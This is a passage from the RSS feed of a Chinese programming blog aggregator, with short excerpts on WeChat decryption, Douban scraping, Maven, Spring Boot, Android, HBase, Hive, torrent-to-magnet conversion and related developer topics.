      <description> 在使用微信官方WXBizDataCrypt.js解密encryptedData获取敏感数据的时候，偶尔会报错。&#xA;DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(),Buffer.allocUnsafe(), or Buffer.from() methods instead. message: Illegal Buffer, stack: Error: Illegal Buffer at WXBizDataCrypt.decryptData 这种错误一定概率出现，一般出现在项目初始化的时候。&#xA;我一开始还以为是Buffer库的问题，使用了safer-buffer替换，还是没有解决。&#xA;网上还有人说需要encodeURIComponent对参数包裹，这也不能解决。&#xA;其实，最后的解决办法，就是在小程序端通过open-type=&#34;getUserInfo&#34;获取参数之前，必须要wx.login。&#xA;所以，重要的事情说三遍:&#xA;wx.login wx.login wx.login必须先执行。 </description>
    </item>
    <item>
      <title>爬虫实战2(下）：爬取豆瓣影评</title>
      <link>https://bchobby.github.io/posts/aa7347eae19a771b0e45a8e364a02bec/</link>
      <pubDate>Wed, 01 May 2019 20:34:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa7347eae19a771b0e45a8e364a02bec/</guid>
      <description>上篇笔记我详细讲诉了如何模拟登陆豆瓣，这次我们将记录模拟登陆+爬取影评（复仇者联盟4）实战。本文行文结构如下：&#xA;模拟登陆豆瓣展示&#xA;分析网址和源码爬取数据&#xA;进行面对对象重构&#xA;总结&#xA;一、模拟登陆豆瓣 模拟登陆在上文已经详细介绍如何利用post方式登陆，这里不再赘述，直接给出源码如下：&#xA;import requests # 1.设置URL 和 headers loginURL = &#34;https://accounts.douban.com/j/mobile/login/basic&#34; headers = { &#34;User-Agent&#34;: &#34;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0&#34; } # 2.分析表单 data = { &#34;ck&#34;: &#34;&#34;, &#34;name&#34;: &#34;你的账号&#34;, &#34;password&#34;: &#34;你的密码&#34;, &#34;remember&#34;: &#34;false&#34;, &#34;ticket&#34;: &#34;&#34; } # 3.创建session对象保存对话 session = requests.Session() session.post(url=loginURL, headers=headers, data=data) # 4.开始登陆豆瓣 # （测试）比如获取登陆后我的主页信息 personalURL = &#34;https://www.douban.com/people/195562116/&#34; r = session.</description>
    </item>
    <item>
      <title>idea 使用maven构建项目时，target bytecode version经常自动变化</title>
      <link>https://bchobby.github.io/posts/4a0ec87a9bb1c121c2910bf77ab36cec/</link>
      <pubDate>Tue, 30 Apr 2019 21:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a0ec87a9bb1c121c2910bf77ab36cec/</guid>
      <description> idea 使用maven构建项目时，target bytecode version经常自动变化 解决方法：在工程的pom.xml中添加　&amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;source&amp;gt;1.8&amp;lt;/source&amp;gt; &amp;lt;target&amp;gt;1.8&amp;lt;/target&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 或者：添加properties节点&#xA;&amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;project.reporting.outputEncoding&amp;gt;UTF-8&amp;lt;/project.reporting.outputEncoding&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;encoding&amp;gt;UTF-8&amp;lt;/encoding&amp;gt; &amp;lt;/properties&amp;gt; posted @ 2019-04-30 21:29 巡山小妖N 阅读(...) 评论(...) 编辑 收藏 </description>
    </item>
    <item>
      <title>前后端不分离之分页 url</title>
      <link>https://bchobby.github.io/posts/6d67e2664679322b38ba76428775fd23/</link>
      <pubDate>Tue, 30 Apr 2019 16:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d67e2664679322b38ba76428775fd23/</guid>
      <description>//将对象转成url 参数 var urlEncode = function(param, key, encode) { if (param==null) return &#39;&#39;; var paramStr = &#39;&#39;; var t = typeof (param); if (t == &#39;string&#39; || t == &#39;number&#39; || t == &#39;boolean&#39;) { paramStr += &#39;&amp;amp;&#39; + key + &#39;=&#39; + ((encode==null||encode) ? encodeURIComponent(param) : param); } else { for (var i in param) { var k = key == null ? i : key + (param instanceof Array ?</description>
    </item>
    <item>
      <title>Python实现中文文档的简体与繁体互相转换</title>
      <link>https://bchobby.github.io/posts/a7428447b5f246e2f0bcdf3add3da53d/</link>
      <pubDate>Tue, 30 Apr 2019 15:04:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7428447b5f246e2f0bcdf3add3da53d/</guid>
      <description>本文重点是一个第三方工具的使用，首先从下面的地址下载这两个文件并存放于程序文件所在文件夹。&#xA;https://raw.githubusercontent.com/skydark/nstools/master/zhtools/langconv.py&#xA;https://raw.githubusercontent.com/skydark/nstools/master/zhtools/zh_wiki.py&#xA;然后编写下面的代码：&#xA;结合扩展库python-docx，下面的代码用来对Word文档中的中文进行转换，简体变繁体：&#xA;书稿转换前：&#xA;书稿转换后：&#xA;温馨提示&#xA;关注本公众号“Python小屋”，通过菜单“最新资源”==&amp;gt;“历史文章”可以快速查看分专题的800篇技术文章列表（可根据关键字在页面上搜索感兴趣的文章），通过“最新资源”==&amp;gt;“微课专区”可以免费观看300节Python微课，通过“最新资源”==&amp;gt;“培训动态”可以查看近期Python培训安排，通过“最新资源”==&amp;gt;“教学资源”可以查看Python教学资源。</description>
    </item>
    <item>
      <title>移动端适配：动态设置html元素的font-size（页面使用rem做单位）</title>
      <link>https://bchobby.github.io/posts/400d86e1c83592fed7c69db216b5cc21/</link>
      <pubDate>Tue, 30 Apr 2019 14:20:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/400d86e1c83592fed7c69db216b5cc21/</guid>
      <description>一、前言： 首先我们要了解的知识点：&#xA;1.物理像素(physical pixel) 我们看到的每个屏幕都是由一颗颗我们肉眼难以看到的小颗粒（物理像素）组成的。&#xA;2.逻辑像素（设备独立像素(density-independent pixel)） 是计算机坐标系统中的一个点，这个点代表一个可以由程序使用的虚拟像素(比如说CSS像素)。&#xA;3.设备的像素比(device pixel ratio)简称DPR 它的数值体现了物理像素和逻辑像素之间的关系，用公式可以计算出该设备的DPR的大小：&#xA;DPR = 物理像素 / 逻辑像素 那么了解了上面这些概念，就可以知道，为什么css在pc上写着font-size=12px;但是换到手机上却变小了？因为手机端的DPR变大了。&#xA;没错，我们在电脑屏幕上的DPR是1，但是手机却不同，可能是它可能是2，也可能是3。&#xA;获取设备DPR的方法还是有的：&#xA;1.在JavaScript中，通过window.devicePixelRatio来获取&#xA;2.在css中，可以通过-webkit-device-pixel-ratio，-webkit-min-device-pixel-ratio和 -webkit-max-device-pixel-ratio进行媒体查询，对不同DPR的设备，做一些样式适配(这里只针对webkit内核的浏览器和webview)。&#xA;二、页面适配开发 1、设置页面的viewport视口 &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width,user-scalable=no,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0&#34; /&amp;gt; 2、我们以iPhone6设计稿来进行移动端的开发（设计稿是750px） 那么我们得到的deviceWidth = 375px; 为了方便在开发的时候量尺寸好算，我们设置html的font-size为50px。&#xA;那么本来根据设计稿量出来的div是80px的话我们要先除以2，得到实际的宽度px，然后要转换为rem，我们还要除以html的font-size，即再除以50，即可得到单位rem的数值。&#xA;也就是说：拿到一个iPhone6设计图，量到的px像素值来除以100，那么得到的值就是多少rem。&#xA;deviceWidth = 320，font-size = 320 / 7.5 = 42.6667px deviceWidth = 375，font-size = 375 / 7.5 = 50px deviceWidth = 414，font-size = 414 / 7.5 = 55.2px deviceWidth = 500，font-size = 500 / 7.</description>
    </item>
    <item>
      <title>使用Python把BT种子转化为磁力链接</title>
      <link>https://bchobby.github.io/posts/34753f33b58f6c01b7a39ae7fd28900d/</link>
      <pubDate>Mon, 29 Apr 2019 22:16:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34753f33b58f6c01b7a39ae7fd28900d/</guid>
      <description>经常下载电影的朋友肯定对BT种子不陌生，但是BT种子文件相对磁力链来说存储不方便，而且在网站上存放BT文件容易引起版权纠纷，而磁力链相对来说则风险小一些。&#xA;将BT种子转换为占用空间更小，分享更方便的磁力链还是有挺大好处的。&#xA;今天咱们来看下如何将种子转换成磁力链接，方案是：利用python的bencode模块，用起来比较简单&#xA;首先要安装这个模块，安装命令：&#xA;pip install bencode bt2url.py&#xA;#! /usr/local/bin/python # @desc python通过BT种子生成磁力链接 # @date 2015/11/10 # @author pythontab.com import bencode import sys import hashlib import base64 import urllib #获取参数 torrentName = sys.argv[1] #读取种子文件 torrent = open(torrentName, &#39;rb&#39;).read() #计算meta数据 metadata = bencode.bdecode(torrent) hashcontents = bencode.bencode(metadata[&#39;info&#39;]) digest = hashlib.sha1(hashcontents).digest() b32hash = base64.b32encode(digest) #打印 print &#39;magnet:?xt=urn:btih:%s&#39; % b32hash python bt2url.py test.torrent magnet:?xt=urn:btih:MWXFHXOGE2UMR7WBFZYEJPM3LF2VIHNH 最后，推荐一个BT搜索引擎 www.sobt.vip，大部分的bt种子都能找到</description>
    </item>
    <item>
      <title>ArrayList 和 LinkedList 的区别是什么？</title>
      <link>https://bchobby.github.io/posts/af7533e1b8031f6993c0518c96f8116d/</link>
      <pubDate>Mon, 29 Apr 2019 17:59:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af7533e1b8031f6993c0518c96f8116d/</guid>
      <description>• 数据结构实现：&#xA;ArrayList 是动态数组的数据结构实现，而 LinkedList 是双向链表的数据结构实现。&#xA;• 随机访问效率：&#xA;ArrayList 比 LinkedList 在随机访问的时候效率要高，&#xA;因为 LinkedList 是线性的数据存储方式，所以需要移动指针从前往后依次查找。&#xA;• 增加和删除效率：&#xA;在非首尾的增加和删除操作，LinkedList 要比 ArrayList 效率要高，&#xA;因为 ArrayList 增删操作要影响数组内的其他数据的下标。&#xA;• 综合来说：&#xA;在需要频繁读取集合中的元素时，更推荐使用 ArrayList，&#xA;而在插入和删除操作较多时，更推荐使用 LinkedList。</description>
    </item>
    <item>
      <title>文字和数字的垂直（竖着）排列</title>
      <link>https://bchobby.github.io/posts/e92abe06739a6126f8666659fca2e3e9/</link>
      <pubDate>Mon, 29 Apr 2019 14:18:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e92abe06739a6126f8666659fca2e3e9/</guid>
      <description>一、文本垂直（竖向）排列&#xA;-webkit-writing-mode: vertical-rl;&#xA;writing-mode: vertical-rl;&#xA;二、数字垂直或者（竖向）排列&#xA;text-orientation: upright;&#xA;三、可以参考下面属性&#xA;四、我自己弄的效果图</description>
    </item>
    <item>
      <title>安卓7.0以上的手机拍照报错exposed beyond app through ClipData.Item.getUri()</title>
      <link>https://bchobby.github.io/posts/b3f03ce6f95fda260f416943adbee9db/</link>
      <pubDate>Mon, 29 Apr 2019 11:16:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3f03ce6f95fda260f416943adbee9db/</guid>
      <description>js中调用手机系统的摄像头在安卓原生的壳子，7.0以上的手机里报exposed beyond app through ClipData.Item.getUri(),找了半天问题不是那个FileProvider的问题，在Application的onCreate()方法中加入以下代使竟然好使了，有些东西还是要试一下才知道 ：&#xA;StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();&#xA;StrictMode.setVmPolicy(builder.build());&#xA;builder.detectFileUriExposure();</description>
    </item>
    <item>
      <title>springboot文件上传保存路径问题</title>
      <link>https://bchobby.github.io/posts/292f49e7560ffff545be3c3eda37dea5/</link>
      <pubDate>Sat, 27 Apr 2019 22:51:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/292f49e7560ffff545be3c3eda37dea5/</guid>
      <description>springboot文件上传保存路径问题 最近使用springboot整合富文本编辑器wangeditor，在整合的时候，对于图片上传时候保存路径出现了一些问题，代码如下 @PostMapping(&#34;/upload&#34;) public Result upload(MultipartFile[] file, HttpServletRequest request) throws IOException { Result result = new Result(); String path = request.getServletContext().getRealPath(&#34;/public/image/upload&#34;); System.out.println(file.length); for (MultipartFile f : file) { String name = f.getOriginalFilename(); f.transferTo(new File(path+File.separator+name)); result.getData().add(&#34;/public/image/upload/&#34;+name); } return result; } 报了如下异常 java.io.IOException: java.io.FileNotFoundException: C:\Users\22374\AppData\Local\Temp\ tomcat-docbase.262090075120668420.9003\public\image\upload\demo0.png (系统找不到指定的路径。) 我到了相应路径下查看，路径下确实没有这些文件，因为springboot直接以jar包的方式直接运行，应该是jar包运行时生成的相关路径，并没有深入研究原理。这里并不像tomcat下部署那样，文件夹确实存在，并且可读取。所以只能采用其他方案。 在我们在tomcat下做文件上传时候，我们也并不会直接在项目下面的相关路径下保存上传的文件，因为如果这样保存，项目重新部署，文件就没了。通常是配置tomcat，映射一个静态文件夹，用来存放上传的文件，这样在项目升级重新部署，文件依然存在。现在要解决的问题是，如何使用springboot配置静态文件夹。配置代码如下 spring: mvc: static-path-pattern: /** resources: static-locations: - classpath:/META-INF/resources/ - classpath:/static - classpath:/resources/ - file:${upload-path} upload-path: F:/Java/upload/ 关键的代码就是file:${web.upload-path}，这个file是配置一个文件路径做作为静态资源映射，而upload-path: F:/Java/upload/是配置路径的实际位置。其余的代码，因为自己重新配置静态资源映射，所以默认配置失效，自己要重新配置一下。 当然除了配置文件配置，还可以自己继承WebMvcConfigurerAdapter类来配置静态资源映射，当然这是低版本的springboot，高版本的继承WebMvcConfigurerationSupport实现。</description>
    </item>
    <item>
      <title>安卓与ESP8266串口WIFI模块的通信实现</title>
      <link>https://bchobby.github.io/posts/c26736214027cec7a293cb5e00ba5a11/</link>
      <pubDate>Sat, 27 Apr 2019 17:58:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c26736214027cec7a293cb5e00ba5a11/</guid>
      <description>软件简介 结合一个控制实例，简要介绍一下安卓客户端软件。&#xA;主界面非常简洁，左边一个方向控制盘，和右边4个Button。方向盘是一个自定义的View，可以转动任意角度，程序里只响应4个方向，已经足够。四个Button分别对应相应的功能键。&#xA;通信实现原理 使用基于tcp协议的socket通信。串口WiFi模块配置成tcp Service模式，然后安卓连接串口wifi模块的热点，客户端作为tcp client 连接。连接成功后就可以相互发送数据。&#xA;具体实现 串口WiFi模块配置成tcp Service模式，IP设置为192.168.4.1，端口号3824。&#xA;（安卓需要先连接到串口WiFi模块所创建的热点。）&#xA;客户端的连接方式如下：&#xA;private void Connect() { // 开启线程来发起网络请求 new Thread(new Runnable() { @Override public void run() { try { socket = new Socket(); socket.connect(new InetSocketAddress(HOST, PORT), 4000); if(socket != null){ Message message = new Message(); message.what = CONNECTED_RESPONSE; handler.sendMessage(message); } }catch (IOException ex) { ex.printStackTrace(); Message message = new Message(); message.what = RESPONSE_TIMEOUT; handler.sendMessage(message); } } }).start(); } 网络操作需要在非UI线程中进行。程序开启一个线程进行连接操作，连接结果通过一个Handler通知主线程，以便UI更新连接状态指示。</description>
    </item>
    <item>
      <title>解决移动端中audio多个可以同时播放的问题</title>
      <link>https://bchobby.github.io/posts/2e614414075c546f8e9af63c5a3c655b/</link>
      <pubDate>Fri, 26 Apr 2019 09:44:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e614414075c546f8e9af63c5a3c655b/</guid>
      <description> 先说明一下，内容是ueditor富文本，本来是只有一个音频的，后来按照产品需求，去掉一个音频的限制，结果在移动端发现，多个音频可以同时播放，这个就比较尴尬了，清理思路发现要实现这个效果就必须在渲染文本完成之后获取到所有的audio标签，在标签上面添加播放事件，当a、b、c三个audio标签中，a已经在播放，如果点击b播放之前我需要去关闭a标签的播放，这样就可以实现只有一个播放的修改。代码如下&#xA;1.在文本渲染之后获取到所有的audio标签,并且绑定了pauseAll()事件&#xA;vm.audioList = document.getElementsByTagName(&#34;audio&#34;);//获取到所有音频 if(vm.audioList.length&amp;gt;0){//给音频添加点击事件 //&#x9;console.log(vm.audioList,&#34;...&#34;,vm.articleInfo); //想办法给所有的audio添加点击播放事件 // 给play事件绑定暂停函数 [].forEach.call(vm.audioList, function (i) { i.addEventListener(&#34;play&#34;, vm.pauseAll.bind(i)); }); } 2.pauseAll()事件的具体实现，注意e.target才能获取到当前点击的audio标签就是js中的this标签&#xA;pauseAll: function(e){//多个音频点击的时候，禁止已经播放的，然后播放点击的 // //&#x9;console.log(e.target,&#34;...&#34;,this); var self = e.target;//获取到当前的点击的audio [].forEach.call(this.audioList, function (i) { // 将audios中其他的audio全部暂停 i !== self &amp;amp;&amp;amp; i.pause(); }) } </description>
    </item>
    <item>
      <title>Eclipse设置Theme主题颜色</title>
      <link>https://bchobby.github.io/posts/65b5a2f73a981c602b44f966356b5466/</link>
      <pubDate>Fri, 26 Apr 2019 00:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65b5a2f73a981c602b44f966356b5466/</guid>
      <description>设置Eclipse的代码编辑区背景为暗黑色系： 如需转载，请注明转载自：blog.csdn.net/it1988888&#xA;相关文件下载：http://guari.github.io/eclipse-ui-theme/&#xA;方案一--下载颜色主题配置文件，离线导入配色方案的设置： 1. 下载颜色配置文件：&#xA;http://www.eclipsecolorthemes.org&#xA;推荐选择配色方案：Tomorrow Night - by Chris Kempson - Website&#xA;Eclipse Color Theme (XML) - for Eclipse Color Theme Plugin&#xA;Eclipse Preferences (EPF) - for Eclipse Import&#xA;推荐下载&#34;.EPF&#34;文件格式，可以离线导入Eclipse软件设置。&#xA;2.导入颜色配置文件至Eclipse:&#xA;Eclipse -&amp;gt; File -&amp;gt; Import -&amp;gt; General -&amp;gt; Preferences -&amp;gt; (定位至已经下载的“.EPF”文件) -&amp;gt; Finish.&#xA;即可生效。&#xA;方案二--下载“Eclipse Color Theme”离线安装包： 1.下载导入&#34;Eclipse Color Theme&#34;的离线安装包：&#xA;http://eclipse-color-theme.github.io/update/&#xA;Note: You can download this update site as a zip archive for offline installation.</description>
    </item>
    <item>
      <title>java:程序包com.sun.tools.javac.util不存在问题解决</title>
      <link>https://bchobby.github.io/posts/4bc65af7e57fbfb43920ecfa7d21f5cc/</link>
      <pubDate>Thu, 25 Apr 2019 10:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bc65af7e57fbfb43920ecfa7d21f5cc/</guid>
      <description>com.sun.tools.javac.util工具包是jdk自带的，位置在jdk安装路径下的lib文件里。本人电脑的地址是：C:\Java\jdk1.8.0_121\lib\tools.jar。使用的的IDEA编辑器。&#xA;在出现这个问题后，点击File-&amp;gt;Project Structure。&#xA;然后选择Libraries点击右侧的“+”，选择自己的tools.jar。&#xA;然后点击确认，把项目重新编译即可。</description>
    </item>
    <item>
      <title>Hive内存溢出常见问题</title>
      <link>https://bchobby.github.io/posts/36dd57d5b1dc920812f0ec3989681aae/</link>
      <pubDate>Wed, 24 Apr 2019 22:48:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36dd57d5b1dc920812f0ec3989681aae/</guid>
      <description>1 MR作业运行过程中内存溢出错误分类 1.1 Mapper/Reducer阶段JVM内存溢出（一般都是堆） 1.1.1 JVM堆（Heap）内存溢出：堆内存不足时，一般会抛出如下异常：&#xA;1）-“java.lang.OutOfMemoryError: ” GC overhead limit exceeded;2）-&#34;Error: Java heapspace&#34; 异常信息3）-&#34;running beyondphysical memory limits. Current usage: 2.1 GB of 2.0 GB physical memory used; 3 GB of 8.4 GB virtual memory used. Killing container&#34; 1.1.2 栈内存溢出：抛出异常为 java.lang.StackOverflowError&#xA;常会出现在SQL中（SQL语句中条件组合太多，被解析成为不断的递归调用），或MR代码中有递归调用。这种深度的递归调用在栈中方法调用链条太长导致的。出现这种错误一般说明程序写的有问题。&#xA;1.2 MRAppMaster内存不足 如果作业的输入的数据很大，导致产生了大量的Mapper和Reducer数量，致使MRAppMaster（当前作业的管理者）的压力很大，最终导致MRAppMaster内存不足，作业跑了一般出现了OOM信息。&#xA;异常信息为：&#xA;Exception: java.lang.OutOfMemoryError thrown from theUncaughtExceptionHandler in thread &#34;Socket Reader #1 for port 30703&#xA;Halting due to Out Of Memory Error...&#xA;Halting due to Out Of Memory Error.</description>
    </item>
    <item>
      <title>Java CompareTo方法使用及详解</title>
      <link>https://bchobby.github.io/posts/811de01fd6ad397d906276250c6e2e95/</link>
      <pubDate>Wed, 24 Apr 2019 22:11:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/811de01fd6ad397d906276250c6e2e95/</guid>
      <description>compareTo方法有两种:&#xA;compareTo(String str) 按字典顺序比较两个字符串。&#xA;compareToIgnoreCase(String str) 按字典顺序比较两个字符串，不考虑大小写。&#xA;compareTo大多数时候用作于排序，相对一般排序而言，用compareTo就够了，不考虑大小写的情况很少。compareTo是按照按字典顺序去比较两个字符串的，一般常用的字符串类型无非3个，阿拉伯数字格式，英文字母格式以及中文格式。其中数字格式的顺序最简单，英文字母格式次之，当然，最复杂的还是我们的国语，在忽略多音字的前提下，有多少个汉字？反正我是不知道了。字典表对汉字的排序规律我也不知道，太复杂，所有只研究了英文字母格式，在第二篇中具体说明。 先把代码和结果放出来：&#xA;排序是根据两个字符串之间的顺序比值来排列的，在此不补充排序方法，只对CompareTo方法解说。 (变量1).&amp;lt;方法&amp;gt;(变量2)，返回的值是变量1比变量2的字典顺序。 注意点：&#xA;1、 顺序相等，则返回0，变量1的顺序在变量2之前则返回负值数，变量1的顺序在变量2之后则返回正值数。以此比较！&#xA;2、 比较的时候，相等则继续比较下一位数，直到有一位数不等，进行比较，但要注意，只会比较一次，以这一次的值作为比较数据；如果两个变量位数相等、顺序一致，则返回零；&#xA;3、 如果顺序相等，位数不等，则位数之间相减（多减少），其余规则不变。（如图中的：顺序相等，位数不同的比较）&#xA;字典顺序：&#xA;1、 阿拉伯数字：阿拉伯数字的顺序很简单，因为阿拉伯数字总体只有10个数字，从0到9。国际通用，顺序就是顺着来的。&#xA;2、 英文字母：代码本身就是西方人设计出来的，相对的，对他们的语言的基础（26字母）的编码也就更标准了，本人对26字母的字典顺序还是有一点点的不解。不影响分析。26字母区分大小写，大写字母的顺序排在小写字母之前。按字母顺序排列，大小写字母的顺序之间没有间隔，但在边界有一样的间隔，具体在第二篇讲。有兴趣的同学去查一下，本人有点懒。&#xA;3、 中文:中文的格式表示惹不起，具体排列没去查过，但在排序方法中，中文一般不作为比较值（出现的位数是一致的），比较的是数字或者字母为主。你若是作死，那没办法了。换个说法，以中文作为比较去排序没有意义！汉字在字典表中的顺序是非常庞大的，可以用中文去比较，但排序出来的顺序不是你想要的结果（结果未知性），因为字典顺序只比较一次！因此，在用CompareTo方法排序时，一般中文的比较值在各变量中都是相同的（同一个中文）比如都是用员工1，员工2等等，排序用到的是后面的数字；注意一般真正比较的值（位数）不是中文，是数字或者字母这些可以按想要顺序排列的值（位数）&#xA;补充说明一下：&#xA;在方法使用中(变量1).&amp;lt;方法&amp;gt;(变量2)，得到的值是变量1在变量2的字典顺序之前还是之后，决定是正值还是负值，比如在图中的：阿拉伯数字格式，第一位数都是1，就跳过，然后1在9之前，得到的就是负值，1在9前8位，所以返回-8，只比较一次，所以，在比较不等值时只比较一次（上面说过相等就跳过，直到不等的位数进行比较，或者都相等就返回0），因为值比较一次，所以也就排序作用了。也许还能遍历出来所有的比较呢？没试过，有兴趣的童鞋可以尝试。&#xA;可以了解规律，实用性不是很高，可以自行判断相差值，排序方法时电脑已经计算好了的，所有更多的是理解作用，先上代码，有点懒，全部结合在一张图了。&#xA;声明一下，不介绍不区分大小写的，不区分后，没啥好说的，个人感觉compareToIgnoreCase就是为了填区分大小写时字典表的顺序问题的，compareTo的字典表顺序整体有点怪怪的感觉。&#xA;a与A的比较顺序是32，既是字典顺序中a在A的后32位，反过来比较就是-32.算是字母顺序中的一个中间数。相同的，其余两个也是一样的。&#xA;a与Z的比较顺序是7，既是字典顺序中a在Z的后7位，反过来比较就是-7.&#xA;z与A的比较顺序是57，既是字典顺序中z在A的后57位，反过来比较就是-57.&#xA;a与A的比较顺序是32，在这三个比较值中，算是中间位置，峰值是57，在字典表中，57是最后一个了，当然具体排序不清楚，57只是a在A顺序后57位（大写A在字母顺序中是第一个，小写z是最后一个），a与Z的比较顺序是7，别问我为啥中间空了7位数，我也不知道，理应Z之后下一个字典顺序就是a才对。所以某些时候要比较时有点乱，compareToIgnoreCase就应运而生了，修改字典表太麻烦，但能加呀！有不少方法就是亡羊补牢弄出来的。&#xA;虽然不知道字典表的具体排序顺序，但字母表的顺序除了前后有点怪，别的都正常。&amp;lt;z←→B&amp;gt;比较是56，按字母顺序递加,&amp;lt;z←→Y&amp;gt;比较是33, &amp;lt;z←→Z&amp;gt;比较又回到了32，&amp;lt;a←→Z&amp;gt;比较是7,反过来，&amp;lt;a←→Y&amp;gt;比较是8，按字母顺序递减，&amp;lt;a←→B&amp;gt;比较是31，&amp;lt;a←→A&amp;gt;比较是32,又回到了中间值，来来回回就是在26字母之间加减，只是中间多出了一些不存在于字母顺序的位数，不用纠结太多，别像我一样了。&#xA;研究了半天。区分大小写的情况下，逃不出57，比较值只会在-57到57之间产生，因为只比较一次，就算比较多次，也就多几个57到57之间的比值而已。区分大小写的话，逃不出25，比较值只会在-25到25之间产生。&#xA;还是要注意一下：compareTo的比较是比较不同点（或者说是找区别），并且是只比较一次。之后又多少不同点都不管的。就像是在区分对象，抓住一点不同就好，能区分就行。同等同值时就成了类了，比如都是男生，知道了，返回个零表示没区别。同值位数不等，就像是这一边有3个男生，那一边有1个男生，区别就是个数，就返回2，表示区别。正负值是看这个位数是在比较值之前还是之后，反过来就是了。</description>
    </item>
    <item>
      <title>Java对HBase的CRUD操作的小demo</title>
      <link>https://bchobby.github.io/posts/fea027e2acac9e8a2277a073585de6a2/</link>
      <pubDate>Wed, 24 Apr 2019 16:28:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fea027e2acac9e8a2277a073585de6a2/</guid>
      <description>import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hbase.*; import org.apache.hadoop.hbase.client.*; import org.junit.After; import org.junit.Before; import org.junit.Test; public class HBaseDemo { private String tn = &#34;teacher&#34;; HBaseAdmin admin = null; HTable table = null; @Before public void init() throws Exception { Configuration conf = new Configuration(); conf.set(&#34;hbase.zookeeper.quorum&#34;,&#34;master,slave1,slave2,slave3,slave4,slave5,slave6,slave7&#34;); admin = new HBaseAdmin(conf); table = new HTable(conf,tn.getBytes()); } @Test public void createTable() throws Exception { HTableDescriptor desc = new HTableDescriptor(TableName.valueOf(tn)); HColumnDescriptor addFamily = new HColumnDescriptor(&#34;teacherInfo&#34;.getBytes()); desc.addFamily(addFamily); if(admin.</description>
    </item>
    <item>
      <title>EtherCAT学习笔记：周期性过程数据通信</title>
      <link>https://bchobby.github.io/posts/18230ac6d468f8001762e0207875572a/</link>
      <pubDate>Wed, 24 Apr 2019 15:31:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18230ac6d468f8001762e0207875572a/</guid>
      <description>*如有不对之处欢迎留言指正，不胜感激&#xA;周期性过程数据通信 周期性过程数据模式区分主站同步运行模式和从站同步运行模式。&#xA;从站周期性同步模式 Free RUN 自由运行：&#xA;从站本地设置定时器产生本地中断，定时间隔也可以由主站设定；&#xA;自由运行模式就是每个slave根据自己的时间中断（未同步的timer）来处理EtherCAT数据，跟主站的运行周期其他从站的周期以及EtherCAT帧的到达时间都没关系;主站发送数据帧与从站处理数据帧不同步。&#xA;同步于数据输入或输出事件：&#xA;主站将过程数据帧发送周期同步给从站，从站可以选择是否支持该周期，或对本地周期时间优化，通常同步于输出事件，只有输入事件时候，同步于输入事件。也就是在输入输出事件产生时，接收数据帧；&#xA;同步于分布时钟同步事件：&#xA;本地时钟有SYNC事件触发，主站必须在SYNC事件触发前完成数据帧的发送，因此主站也需要同步于参考时钟；&#xA;在此基础上，从站可以在数据收发事件发生时将接收到的数据缓存，完成数据的交换和相关运算，等待SYNC信号后马上执行输出操作，同步性大大增强。&#xA;主站周期性同步模式 Free Run 自由运行：&#xA;同从站介绍&#xA;SMx Mode&#xA;同步管理器(SM)，同步管理器同步时的数据而不是时间，即同步于数据的输入和输出，与从站介绍的第二种同步方式对应&#xA;DC Mode&#xA;DC Mode(Distributed Clock)是一种高精度时间同步的模式，取第一次支持DC的从机作为参考时钟，主站及从站同步于参考时钟，与从站介绍的第三种同步模式类似，DC模式会在SYNC事件到来前完成数据帧的接收和运算；可预先计算的固定偏移量包括以下几点：&#xA;控制程序执行时间数据帧传输时间数据帧传输延时从站延时时间的抖动和控制程序执行抖动</description>
    </item>
    <item>
      <title>安装 aconda 后Linux的终端界面前部出现（base）字样</title>
      <link>https://bchobby.github.io/posts/3cd7430a6997e59f49bea30a9da196fc/</link>
      <pubDate>Wed, 24 Apr 2019 14:00:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cd7430a6997e59f49bea30a9da196fc/</guid>
